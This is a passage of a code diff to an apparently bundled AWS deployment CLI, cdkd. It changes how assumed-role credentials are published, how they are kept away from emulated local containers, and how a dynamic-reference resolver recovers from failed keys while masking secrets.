+* On an SSO / IMDS / container-role chain the triple was ABSENT before the
+* assume. Fabricating a replacement is not available and inheriting the role is
+* the defect, so the three keys are STRIPPED from the forwarded environment and
+* the container falls back to its own credential resolution — which, with no
+* mounted credentials file, usually means the handler's first AWS call fails
+* with `Could not load credentials from any providers`. That is the documented
+* outcome (`docs/cli-reference.md`), and it is the correct one: a loud missing
+* credential beats a silent privileged one.
+*/
+/**
+* The three environment variables that carry a static AWS identity into a child
+* process or container. Spelled once here so a forwarding site and the fence
+* that watches it cannot disagree about the population.
+*/
+const AWS_CREDENTIAL_ENV_KEYS = [
+	"AWS_ACCESS_KEY_ID",
+	"AWS_SECRET_ACCESS_KEY",
+	"AWS_SESSION_TOKEN"
+];
+/**
+* Read a static credential triple out of an environment bag, or `undefined`
+* when it does not carry a complete one.
+*
+* BOTH halves of the key pair are required: an `AWS_ACCESS_KEY_ID` with no
+* secret is not an identity, and treating it as one would make the caller
+* "have credentials" while handing the container an unusable pair.
+*/
+function readEnvCredentials(source = process.env) {
+	const accessKeyId = source["AWS_ACCESS_KEY_ID"];
+	const secretAccessKey = source["AWS_SECRET_ACCESS_KEY"];
+	if (!accessKeyId || !secretAccessKey) return void 0;
+	const sessionToken = source["AWS_SESSION_TOKEN"];
+	return {
+		accessKeyId,
+		secretAccessKey,
+		...sessionToken ? { sessionToken } : {}
+	};
+}
+/**
+* The static credentials the caller's OWN environment carried — the process
+* environment when no role was assumed, the pre-assume snapshot when one was.
+*
+* For a site that needs the VALUE rather than an env bag to correct (the
+* `--sigv4` signing path in `local-invoke-agentcore.ts`). `undefined` means the
+* caller has no static credentials to offer; the site decides what that means
+* for it (that one refuses with an actionable error).
+*
+* **Do not mutate the returned bag.** On the assumed-role branch it is
+* `aws-client-defaults.ts`'s OWN copy of the pre-assume snapshot — the object
+* shape 2 of the `ignoreAssumedRole` opt-out resolves every opted-out client's
+* identity from — so a caller that edits it in place changes who those clients
+* run as. The note sits here as well as on `getPreAssumeEnvCredentials` because
+* this module's header directs callers to THIS function; reaching the snapshot
+* through the getter directly is what it tells them not to do.
+*/
+function callerEnvCredentials() {
+	if (getAssumedRoleCredentials() === void 0) return readEnvCredentials();
+	return getPreAssumeEnvCredentials();
+}
+/**
+* Correct an environment bag that was populated by copying `process.env`, so it
+* carries the CALLER's identity rather than a `--role-arn` assumed role's.
+*
+* A NO-OP when no role was assumed — the copied triple is already the caller's,
+* and this must not disturb the overwhelmingly common path.
+*
+* Otherwise the role's triple is replaced by the pre-assume snapshot, or — when
+* there was none — REMOVED outright (see this module's header). The
+* session-token handling mirrors `applyProfileCredentialsOverlay`: a restored
+* long-lived key pair strips any inherited token, because a long-lived
+* `AKIA...` beside a foreign session token makes the SDK inside the container
+* fail rather than fall back.
+*
+* Call it AFTER copying `process.env` and BEFORE any `--profile` overlay: the
+* profile identity is more specific and is also the caller's, so it wins.
+*/
+function applyCallerIdentityCredentials(env) {
+	if (getAssumedRoleCredentials() === void 0) return;
+	const caller = getPreAssumeEnvCredentials();
+	if (!caller) {
+		for (const key of AWS_CREDENTIAL_ENV_KEYS) delete env[key];
+		return;
+	}
+	env["AWS_ACCESS_KEY_ID"] = caller.accessKeyId;
+	env["AWS_SECRET_ACCESS_KEY"] = caller.secretAccessKey;
+	if (caller.sessionToken) env["AWS_SESSION_TOKEN"] = caller.sessionToken;
+	else delete env["AWS_SESSION_TOKEN"];
+}
+
 //#endregion
 //#region src/utils/role-arn.ts
 /**
@@ -21050,8 +22154,8 @@ function parseIamRoleArn(roleArn) {
 * reading the producer account's cdkd state bucket.
 *
 * **Why a dedicated helper (instead of reusing `applyRoleArnIfSet`).** The
-* `--role-arn` flag writes assumed credentials into the process's `AWS_*`
-* env vars so EVERY subsequent SDK client picks them up. That is the right
+* `--role-arn` flag publishes its assumed credentials process-wide, so
+* EVERY subsequent SDK client picks them up. That is the right
 * behavior for the CLI-wide flag, but the wrong behavior for cross-account
 * `Fn::GetStackOutput`: the producer's role should authorize ONLY the S3
 * state read, not the consumer's provisioning calls (which still run under
@@ -21129,16 +22233,57 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
 * into `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
 * for the rest of the process.
 *
-* **Why env vars, not threaded credentials.** cdkd constructs ~13
-* independent `AwsClients` instances across deploy / destroy / state /
-* import / etc. paths (each with its own region, sometimes — e.g. the
-* state-bucket client lives in a different region from the provisioning
-* clients). Threading a `credentials` object through every site is high
-* churn for an opt-in flag. AWS SDK v3 reads the standard `AWS_*` env
-* vars at the top of its default credentials chain, so writing into them
-* once at the command's entry makes every later `new XxxClient()` pick
-* up the assumed-role credentials automatically without touching the
-* client construction sites.
+* **Why not threaded credentials.** cdkd constructs ~13 independent
+* `AwsClients` instances across deploy / destroy / state / import / etc.
+* paths (each with its own region, sometimes — e.g. the state-bucket
+* client lives in a different region from the provisioning clients).
+* Threading a `credentials` object through every site is high churn for
+* an opt-in flag, so the assumed credentials are published ONCE, at the
+* command's entry, through two channels that between them reach every
+* consumer:
+*
+* 1. `setAssumedRoleCredentials` (`src/utils/aws-client-defaults.ts`) —
+*    every SDK client under `src/**` is required to spread
+*    `awsClientDefaults(...)` FIRST, so all of them receive the role as an
+*    EXPLICIT `credentials` value, which outranks a `profile` on the same
+*    config. That helper's header carries the full reasoning.
+* 2. The `AWS_ACCESS_KEY_ID` / `AWS_SECRET_ACCESS_KEY` / `AWS_SESSION_TOKEN`
+*    env vars — for the consumers channel 1 cannot reach: cdk-local's own
+*    SDK clients and the CDK app subprocess, which inherit this process's
+*    environment.
+*
+* **Why channel 1 exists, and why `AWS_PROFILE` is nonetheless LEFT ALONE.**
+* Channel 2 used to be the whole mechanism, and it is silently inert
+* whenever a profile is selected: `@aws-sdk/credential-provider-node`
+* skips the env-var provider once `AWS_PROFILE` is set, so
+* `--profile ci --role-arn <r>` assumed the role, reported it assumed,
+* and then ran every call as `ci` — potentially in a different account
+* (issue [#3130](https://github.com/go-to-k/cdkd/issues/3130)). Deleting
+* `AWS_PROFILE` would not have fixed that on its own (cdkd also passes
+* `profile` as an explicit client-config key, which outranks the
+* environment), and it costs something real: `AWS_PROFILE` is the only
+* region source `Synthesizer.resolveSdkDefaultRegion` has when the user
+* exported a profile rather than passing `--profile`, so clearing it would
+* silently drop the CDK app's `CDK_DEFAULT_REGION` and synthesize an
+* env-agnostic stack for a different region than the profile named.
+*
+* **The one consumer channel 2 must NOT reach.** `cdkd local *` copies the
+* same three environment variables into the emulated Lambda / AgentCore
+* container, so the role reached the USER'S OWN CODE — which is what
+* `--assume-role` is for, and never what `--role-arn` asked for. Channel 1's
+* `ignoreAssumedRole` opt-out cannot express that here, because the value is
+* not a client config but three variables whose original contents the
+* overwrite below destroys. So the caller's own triple is SNAPSHOTTED first
+* (`setPreAssumeEnvCredentials`), and the local surface's forwarding sites
+* restore it — or, when the caller had none, strip the role's.
+* `src/utils/caller-credentials.ts` owns that decision and its reasoning.
+*
+* So the split is by ROLE, not by channel: `--role-arn` decides the
+* IDENTITY (channel 1, every client under `src/**`), and the profile keeps
+* the two jobs an assumed role cannot do — answering the `AssumeRole`
+* below, and supplying shared-config settings such as the region. The
+* bound that leaves: with both in play, a client built OUTSIDE `src/**`
+* still resolves the profile, because channel 2 stays inert for it.
 *
 * **What the assumed role must carry.** Unlike `cdk deploy`, cdkd does
 * NOT route through CloudFormation. There is no cfn-exec-role to
@@ -21152,18 +22297,31 @@ async function assumeRoleForCrossAccountStateRead(roleArn) {
 * `AdministratorAccess`. CDK CLI's `cdk-hnb659fds-deploy-role-*` is NOT
 * sufficient — that role only carries CFn + asset-publish permissions.
 *
+* **Once per process, enforced at both ends.** Every command handler calls this
+* exactly once, at its entry, and a second call cannot quietly work: the
+* `AssumeRole` hop below opts out of the published role (so it is answered by
+* the identity the user started with, never by role A assuming role B — a chain
+* AWS caps at one hour and refuses unless B's trust policy names A), and
+* `setAssumedRoleCredentials` then REFUSES the second publish outright. Both
+* are needed: the opt-out alone would let two identities coexist, and the
+* refusal alone would leave the hop chaining.
+*
 * Default session duration is 1 hour. For longer-running deploys, the
 * caller should re-issue the cdkd command (the in-flight credentials
 * stay valid until expiry, but a re-run is the simplest recovery for
-* the rare case where a deploy outlives them).
+* the rare case where a deploy outlives them). Nothing refreshes them —
+* `AssumedRoleCredentials.expiration` is carried for the log line, not acted
+* on; that field's doc in `aws-client-defaults.ts` records the bound.
 */
 async function applyRoleArnIfSet(opts) {
 	const roleArn = opts.roleArn || process.env["CDKD_ROLE_ARN"];
 	if (!roleArn) return;
+	if (getAssumedRoleCredentials() !== void 0) throw new Error(SECOND_ROLE_PUBLISH_REFUSAL);
 	const logger = getLogger().child("role-arn");
-	logger.debug(`Assuming role ${roleArn}...`);
+	const displayRoleArn = displaySafe(roleArn, { asciiOnly: true });
+	logger.debug(`Assuming role ${displayRoleArn}...`);
 	const sts = new STSClient({
-		...awsClientDefaults(),
+		...awsClientDefaults({ ignoreAssumedRole: true }),
 		...opts.region && { region: opts.region }
 	});
 	try {
@@ -21172,13 +22330,22 @@ async function applyRoleArnIfSet(opts) {
 			RoleSessionName: `cdkd-${Date.now()}`,
 			DurationSeconds: 3600
 		}));
-		if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${roleArn}`);
+		if (!response.Credentials) throw new Error(`AssumeRole returned no credentials for role ${displayRoleArn}`);
 		const { AccessKeyId, SecretAccessKey, SessionToken, Expiration } = response.Credentials;
-		if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${roleArn}`);
+		if (!AccessKeyId || !SecretAccessKey || !SessionToken) throw new Error(`AssumeRole response missing credentials fields for role ${displayRoleArn}`);
+		setPreAssumeEnvCredentials(readEnvCredentials());
 		process.env["AWS_ACCESS_KEY_ID"] = AccessKeyId;
 		process.env["AWS_SECRET_ACCESS_KEY"] = SecretAccessKey;
 		process.env["AWS_SESSION_TOKEN"] = SessionToken;
-		logger.info(`Assumed role ${roleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
+		setAssumedRoleCredentials({
+			accessKeyId: AccessKeyId,
+			secretAccessKey: SecretAccessKey,
+			sessionToken: SessionToken,
+			...Expiration && { expiration: Expiration }
+		});
+		logger.info(`Assumed role ${displayRoleArn} (session expires ${Expiration?.toISOString() ?? "unknown"})`);
+		const selectedProfile = process.env["AWS_PROFILE"];
+		if (selectedProfile !== void 0 && selectedProfile !== "") logger.warn("AWS_PROFILE is set and a role has been assumed. The AWS calls cdkd makes to deploy and read state run as the role. The profile still decides the region, it is what your CDK app resolves during synthesis, and — when you passed `--profile` rather than exporting it — it is the identity a `cdkd local` emulated function or task is given. See https://github.com/go-to-k/cdkd/blob/main/docs/cli-reference.md");
 	} finally {
 		sts.destroy();
 	}
@@ -23764,6 +24931,82 @@ function nestedStackChildRegionFromLocalArn(physicalId) {
 	if (typeof physicalId !== "string") return void 0;
 	return NESTED_STACK_LOCAL_ARN.exec(physicalId)?.[1];
 }
+/**
+* The prefix every dynamic-reference diagnostic this resolver spells carries.
+*
+* Exported because `cdkd scrub` applies the SAME partition on its side and must
+* not keep a second spelling of it (issue #1936's rule, one layer up): a bare
+* marker tail is reachable from text this resolver did not write — `Parameter X
+* is required but no value was provided` comes out of `resolveParameters` — so
+* the prefix is what makes the match an assertion about OWNERSHIP.
+*/
+const DYNAMIC_REFERENCE_PREFIX = "Dynamic reference: ";
+/**
+* Does `source` carry a `{{resolve:...}}` reference that could actually be
+* FETCHED — one not still awaiting an `Fn::Sub` placeholder?
+*
+* Moved here from `cdkd scrub` (issue go-to-k/cdkd#3181), which still imports
+* it, because the resolver needs the same question answered per abandoned UNIT
+* and issue #1936 forbids a second spelling of the token pattern.
+*
+* The distinction it draws is between "nobody could have resolved this" and
+* "this one was resolvable and was not resolved" — the line between merely
+* REPORTING an abandonment and letting it gate an exit code.
+*/
+function carriesFetchableDynamicReference(source) {
+	if (typeof source === "string") return dynamicReferenceTokens(source).some((token) => !token.includes("${"));
+	if (Array.isArray(source)) return source.some(carriesFetchableDynamicReference);
+	if (source !== null && typeof source === "object") return Object.values(source).some(carriesFetchableDynamicReference);
+	return false;
+}
+/**
+* The NAMELESS spellings, which REFUSE rather than fail to fetch.
+*
+* `{{resolve:secretsmanager:}}` with an empty argument is a structurally broken
+* template, and no substitution produces one — an unresolved `Fn::Sub` keeps its
+* literal `${...}`. `cdkd scrub` has refused on these since
+* [#2692](https://github.com/go-to-k/cdkd/issues/2692), so the per-unit
+* recovery must not quietly downgrade one to a skipped token.
+*/
+const NAMELESS_DYNAMIC_REFERENCE_MARKERS = ["PARAMETER_NAME is required", "SECRET_ID is required"];
+/**
+* `err` is a refusal this resolver took ON PURPOSE rather than a step that
+* failed, so the per-unit recovery must re-raise it and abort the walk.
+*
+* The partition is the one `cdkd scrub` already applies on its side
+* (go-to-k/cdkd#3178), drawn by OWNERSHIP rather than vocabulary: every refusal
+* here is one THIS repo decides and spells, which is what makes matching it
+* sound in a way that matching AWS's error text never is. Everything else — any
+* SDK rejection, any shape this cannot classify — is treated as a failed step
+* and RECORDED. That asymmetry is deliberate: the residual is a unit reported
+* as unresolved, never a refusal silently skipped.
+*
+* The two halves of the message test open the partition in DIFFERENT
+* directions, and their EVIDENCE differs — stated separately rather than
+* asserted together, because only one of them is demonstrated.
+*
+* {@link DYNAMIC_REFERENCE_PREFIX} is REACHABLE and tested: a secret id is
+* template-assembled, so AWS's rejection echoes the name it was handed, and a
+* parameter named after a marker puts the bare tail inside a message this repo
+* did not write. Matching the tail alone reads that as a refusal and disarms
+* recovery for the leaf — restoring exactly the loss #3181 removes.
+*
+* The CAUSE walk is defence in depth, and NO reachable wrapping of one of these
+* throws was found from inside either walk's `try` (the in-repo precedent for
+* the shape is `role-arn.ts`). It is kept because the two failure directions
+* are not symmetric: an unrecognised refusal is recorded and walked past, which
+* is the one residual this partition promises cannot happen, while the cost of
+* the walk is a bounded chain read. Do not cite it as fenced — it is not.
+*/
+function isNamelessDynamicReferenceError(err) {
+	if (!(err instanceof Error)) return false;
+	return errorCauseChain(err).some((link) => link.message.includes("Dynamic reference: ") && NAMELESS_DYNAMIC_REFERENCE_MARKERS.some((m) => link.message.includes(m)));
+}
+function isDeliberateResolutionRefusal(err) {
+	if (!(err instanceof Error)) return false;
+	if (errorCauseChain(err).some((link) => link instanceof IntrinsicResolutionRefusalError)) return true;
+	return isNamelessDynamicReferenceError(err);
+}
 let cachedAccountIdentity = null;
 /**
 * Cache for availability zones per region
@@ -24995,7 +26238,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 		if (!targetRegion) return ambient;
 		const target = canonicalizeRegion(targetRegion);
 		const loggedTarget = targetLogText ?? (targetRegion === this.explicitRegion ? this.explicitRegionLogText : void 0) ?? target;
-		if (!isClientSafeRegion(target)) throw new Error(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`);
+		if (!isClientSafeRegion(target)) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to build AWS clients for the region '${stripControlChars(loggedTarget).slice(0, 64)}': it is not a valid AWS region name, and a region is substituted into the AWS service hostname.`));
 		if (typeof ambient.withRegion !== "function") return ambient;
 		const cached = this.regionScopedClients.get(target);
 		if (cached) return cached;
@@ -25191,8 +26434,54 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 		this.logger.warn(`A resolution failed while ${parts} still running, and cdkd stopped waiting because the wait after a failure (capped at ${capSeconds}s) was used up. A secret such a part resolves from now on is still recorded, but only what runs after it arrives can mask it: output already printed or saved is not revisited.`);
 	}
 	/**
-	* Recursively resolve a value
-	*/
+	* Resolve ONE key of a bag, recovering per key when the caller opted in.
+	*
+	* Shared by the two sequential key walks that had this defect — the generic
+	* object walk in {@link resolveValue} and `resolveSub`'s variable map — so
+	* the recovery and the REFUSAL partition cannot drift between them. Both were
+	* bare `for … await` loops, so the first failing key abandoned every later
+	* one (issue go-to-k/cdkd#3218; the variable map was found beside it and is
+	* the same defect, not a second one).
+	*
+	* An abandoned key keeps its INPUT value, matching what the per-token
+	* recovery does with an unfetched token. That is safe only because the bag
+	* obliges its consumer to fail the operation — `ResolverContext`'s field doc
+	* carries the obligation and why it is not optional.
+	*
+	* **The log-twin invariant (issue go-to-k/cdkd#3100) under the KEY ordering**,
+	* which is a separate claim from the token one and was missing while the
+	* token half was stated twice. `matches` / `twinTokens` are built inside
+	* `resolveDynamicReferencesWithLogTwin`, once per STRING LEAF, so the
+	* pairing is leaf-local: a key abandoned beside a leaf never enters that
+	* function for it and cannot shift its indices. Skipping a key changes only
+	* WHICH leaves are visited, never how any visited leaf pairs — and a leaf
+	* that is skipped pairs nothing at all rather than pairing wrongly. Fenced
+	* by the key case in
+	* `tests/unit/deployment/intrinsic-resolver-recovered-sibling-log-masking.test.ts`.
+	*
+	* **Both call sites reach it only when a bag is present, and that gate lives
+	* at the CALL SITE rather than in here on purpose.** `resolveValue` recurses
+	* once per nesting level, so routing every level through a second async
+	* frame roughly doubles the resolver's frame cost for a deeply nested
+	* property and lowers the depth at which it raises `RangeError`. An early
+	* return inside this method would not help — the frame is created by the
+	* call. Gating outside leaves every caller that passes no bag (deploy, diff,
+	* drift, rollback) on exactly the pre-#3218 call shape, which is what makes
+	* "a bagless caller is unchanged" true in the stack dimension too. Measured,
+	* not reasoned: the heavier shape inverted the frame-weight ordering that
+	* `tests/unit/cli/import-observed-baseline-refusal-matrix.test.ts` bisects
+	* for, and that is how it was caught rather than shipped.
+	*/
+	async resolveKeyUnit(key, val, context, abandoned) {
+		try {
+			return await this.resolveValue(val, context);
+		} catch (err) {
+			if (isDeliberateResolutionRefusal(err)) throw err;
+			abandoned.push(this.abandonedUnit("key", key, err, context, val));
+			return val;
+		}
+	}
+	/** Recursively resolve a value. */
 	async resolveValue(value, context) {
 		if (typeof value !== "object" || value === null) {
 			if (typeof value === "string" && value.includes("{{resolve:")) return await this.resolveDynamicReferences(value, context);
@@ -25222,7 +26511,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 		if (unknownIntrinsicKey !== void 0) throw buildUnknownIntrinsicError(unknownIntrinsicKey);
 		const resolved = {};
 		for (const [key, val] of Object.entries(obj)) {
-			const resolvedVal = await this.resolveValue(val, context);
+			const resolvedVal = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
 			if (resolvedVal !== AWS_NO_VALUE) {
 				if (key === "__proto__") Object.defineProperty(resolved, key, {
 					value: resolvedVal,
@@ -26491,7 +27780,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 				};
 				variables[key] = resolved.result;
 				variableTwins[key] = resolved.twin;
-			} else variables[key] = await this.resolveValue(val, context);
+			} else variables[key] = context.abandonedResolutions === void 0 ? await this.resolveValue(val, context) : await this.resolveKeyUnit(key, val, context, context.abandonedResolutions);
 		} else template = subArgs;
 		const replacements = [];
 		const matches = template.matchAll(/\$\{(!)?([^}]*)\}/g);
@@ -27353,6 +28642,7 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 			}
 			throw new Error(`Fn::GetStackOutput: stack '${loggedStackName}' not found in region '${loggedRegion}'${roleArn ? ` (cross-account via ${roleArn})` : ""}. ${!roleArn && this.cfnFallback ? "Searched cdkd state and CloudFormation stacks. Make sure the producer stack has been deployed (via cdkd or CloudFormation)." : `Make sure the producer stack has been deployed via cdkd.`}`);
 		}
+		if (!hasReadableOutputs(stateData.state)) throw markNonRetryable(new MalformedProducerRecordRefusalError(`Fn::GetStackOutput: the state record of producer stack '${loggedStackName}' (${loggedRegion}) has no readable 'outputs' map — the record is malformed or truncated. cdkd refuses to resolve from it rather than reading it as a map: 'Object.hasOwn' answers TRUE for '0' on a string and for an index on a list, so continuing would resolve ONE CHARACTER or element of the record as this reference's value and this deploy would send it to AWS. Inspect the producer's record with 'cdkd state show' --json, repair or remove it, then re-run.`));
 		const outputs = stateData.state.outputs ?? {};
 		if (!Object.hasOwn(outputs, outputName)) {
 			const available = this.describeAvailableOutputs(Object.keys(outputs), context);
@@ -27719,6 +29009,27 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 		return this.maskNeedlesForLog(text, context) !== text ? "***" : registered;
 	}
 	/**
+	* Build one {@link AbandonedResolution}, masking BOTH of its text fields.
+	*
+	* One constructor for both walks so neither can grow a second masking rule:
+	* `subject` and `message` are the only fields a consumer may render, and each
+	* carries its own route to a plaintext — an assembled reference puts one in
+	* the raw token (issue #2827), and an SDK rejection arrives RAW through
+	* `sendWithThrottleRetry` echoing the `Name` it was handed. `error` is kept
+	* unmasked on purpose and is documented as classification-only.
+	*/
+	abandonedUnit(unit, subject, error, context, rawInput, preRedact) {
+		const raw = error instanceof Error ? error.message : String(error);
+		return {
+			unit,
+			subject: this.maskSecretsForLog(subject, context),
+			message: this.maskSecretsForLog(preRedact === void 0 ? raw : preRedact(raw), context),
+			error,
+			carriedDynamicReference: carriesDynamicReference(rawInput),
+			carriedFetchableReference: carriesFetchableDynamicReference(rawInput)
+		};
+	}
+	/**
 	* The needle mask alone: {@link maskSecretsForLog} without the log-twin
 	* lookup. For the two DETECTORS that must ask the needle mask apart from the
 	* position mask: `logTwinText`, which asks it of a value that already has a
@@ -28130,77 +29441,92 @@ var IntrinsicFunctionResolver = class IntrinsicFunctionResolver {
 			const pairedTwin = tokensAligned ? twinTokens[index] : void 0;
 			const tokenLogText = inherited?.tokenLogText ?? (pairedTwin === void 0 ? "***" : this.straddleSafeTwin(fullMatch, pairedTwin, context));
 			const nameLogText = inherited?.nameLogText ?? (pairedTwin === void 0 ? () => "***" : this.dynamicReferenceNameLogText(inner, pairedTwin, context));
-			const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
-			if (isKnownSecret && context?.skipDynamicReferences) continue;
-			const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
-			if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
-			if (regionVerdict.kind === "named-region") {
-				const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
-					tokenLogText,
-					nameLogText
-				});
-				result = result.replace(fullMatch, () => foreign.result);
-				twin = twin.replace(fullMatch, () => foreign.twin);
-				continue;
-			}
-			const cached = this.cachedDynamicReferences.get(fullMatch);
-			if (cached) {
-				if (cached.secret && cached.value) {
-					context?.recordedSecretValues?.set(cached.value, fullMatch);
-					if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
+			try {
+				const isKnownSecret = service === "secretsmanager" || service === "ssm-secure" || recordedSecretExpressions.has(fullMatch);
+				if (isKnownSecret && context?.skipDynamicReferences) continue;
+				const regionVerdict = classifyReplaySecretRegion(fullMatch, this.explicitRegion ?? this.resolverRegion, context?.producerRegions);
+				if (regionVerdict.kind === "ambiguous") throw markNonRetryable(new DynamicReferenceRegionAmbiguousError(`Refusing to resolve the secret reference ${this.maskSecretsForLog(tokenLogText, context)}: it names '${this.maskSecretsForLog(nameLogText(regionVerdict.secretName), context)}' without a region, and this stack reads from ${this.maskSecretsForLog(regionVerdict.foreignProducerRegions.map((r) => this.maskSecretsForLog(r, context)).join(", "), context)} as well as its own region. cdkd cannot tell which one must answer, and resolving against the wrong one yields a different secret. Spell the reference as a full ARN to say which region owns it.`));
+				if (regionVerdict.kind === "named-region") {
+					const foreign = await this.resolverForProducerRegion(regionVerdict.region, context, nameLogText(regionVerdict.region)).resolveDynamicReferencesWithLogTwin(fullMatch, fullMatch, withoutProducerRegions(context), {
+						tokenLogText,
+						nameLogText
+					});
+					result = result.replace(fullMatch, () => foreign.result);
+					twin = twin.replace(fullMatch, () => foreign.twin);
+					continue;
 				}
-				result = result.replace(fullMatch, () => cached.value);
-				twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
-				continue;
-			}
-			const parts = inner.split(":");
-			let resolved;
-			let isSecret = isKnownSecret;
-			/**
-			* May the resolved value be REMEMBERED, or must the next pass re-ask?
-			*
-			* Cleared for exactly the answers the verdict store refuses to pin — an
-			* ssm parameter judged secret from a `Type` that is not a definitive
-			* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
-			* the transient answer for the whole resolver anyway, which is what the
-			* refusal to memoize exists to prevent: before the value cache became
-			* instance-scoped this was already true process-wide, and the
-			* "next pass re-asks" property only ever held on the comparison path,
-			* which caches nothing (issue #1933).
-			*/
-			let cacheable = true;
-			if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
-			else if (service === "ssm") {
-				const decrypt = context?.skipDynamicReferences !== true;
-				const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
-				if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
-				else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
-				else cacheable = false;
-				isSecret = param.secure;
-				if (param.secure) {
-					if (!decrypt) continue;
+				const cached = this.cachedDynamicReferences.get(fullMatch);
+				if (cached) {
+					if (cached.secret && cached.value) {
+						context?.recordedSecretValues?.set(cached.value, fullMatch);
+						if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, cached.value);
+					}
+					result = result.replace(fullMatch, () => cached.value);
+					twin = twin.replace(fullMatch, () => cached.secret && cached.value ? "***" : cached.value);
+					continue;
 				}
-				resolved = param.value;
-			} else if (service === "ssm-secure") {
-				const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
-				if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
-				isSecret = true;
-				resolved = param.value;
-			} else {
-				this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
+				const parts = inner.split(":");
+				let resolved;
+				let isSecret = isKnownSecret;
+				/**
+				* May the resolved value be REMEMBERED, or must the next pass re-ask?
+				*
+				* Cleared for exactly the answers the verdict store refuses to pin — an
+				* ssm parameter judged secret from a `Type` that is not a definitive
+				* `SecureString` (issue #1901's fail-closed arm). Caching one would pin
+				* the transient answer for the whole resolver anyway, which is what the
+				* refusal to memoize exists to prevent: before the value cache became
+				* instance-scoped this was already true process-wide, and the
+				* "next pass re-asks" property only ever held on the comparison path,
+				* which caches nothing (issue #1933).
+				*/
+				let cacheable = true;
+				if (service === "secretsmanager") resolved = await this.resolveSecretsManagerReference(inner, context, nameLogText);
+				else if (service === "ssm") {
+					const decrypt = context?.skipDynamicReferences !== true;
+					const param = await this.resolveSSMReference(parts, decrypt, "ssm", context, nameLogText);
+					if (param.type === "SecureString") this.pinSecretVerdict(fullMatch, true);
+					else if (!param.secure) this.pinSecretVerdict(fullMatch, false);
+					else cacheable = false;
+					isSecret = param.secure;
+					if (param.secure) {
+						if (!decrypt) continue;
+					}
+					resolved = param.value;
+				} else if (service === "ssm-secure") {
+					const param = await this.resolveSSMReference(parts, true, "ssm-secure", context, nameLogText);
+					if (!param.secure) throw markNonRetryable(new IntrinsicResolutionRefusalError(`Refusing to resolve ${this.maskSecretsForLog(tokenLogText, context)}: the parameter is a ${param.type} parameter, and the ssm-secure spelling is defined for SecureString parameters only. Reference it as {{resolve:ssm:...}} if it is public configuration.`));
+					isSecret = true;
+					resolved = param.value;
+				} else {
+					this.logger.warn(this.maskSecretsForLog(`Unsupported dynamic reference service: ${this.maskSecretsForLog(nameLogText(String(service)), context)}`, context));
+					continue;
+				}
+				if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
+					value: resolved,
+					secret: isSecret
+				});
+				if (isSecret && resolved) {
+					context?.recordedSecretValues?.set(resolved, fullMatch);
+					if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
+					if (service === "secretsmanager" || service === "ssm-secure") this.pinSecretVerdict(fullMatch, true);
+				}
+				result = result.replace(fullMatch, () => resolved);
+				twin = twin.replace(fullMatch, () => isSecret && resolved ? "***" : resolved);
+			} catch (err) {
+				if (context?.abandonedResolutions === void 0) throw err;
+				if (isDeliberateResolutionRefusal(err)) throw err;
+				context.abandonedResolutions.push(this.abandonedUnit("token", tokenLogText, err, context, fullMatch, (text) => {
+					let out = text;
+					const segments = [...new Set(inner.split(":"))].filter((segment) => segment.length > 0).sort((a, b) => b.length - a.length);
+					for (const segment of segments) {
+						const logged = nameLogText(segment);
+						if (logged !== segment) out = out.split(segment).join(logged);
+					}
+					return out;
+				}));
 				continue;
 			}
-			if (cacheable) this.cachedDynamicReferences.set(fullMatch, {
-				value: resolved,
-				secret: isSecret
-			});
-			if (isSecret && resolved) {
-				context?.recordedSecretValues?.set(resolved, fullMatch);
-				if (context?.recordedSecretValues) recordResolvedPair(context.recordedSecretValues, fullMatch, resolved);
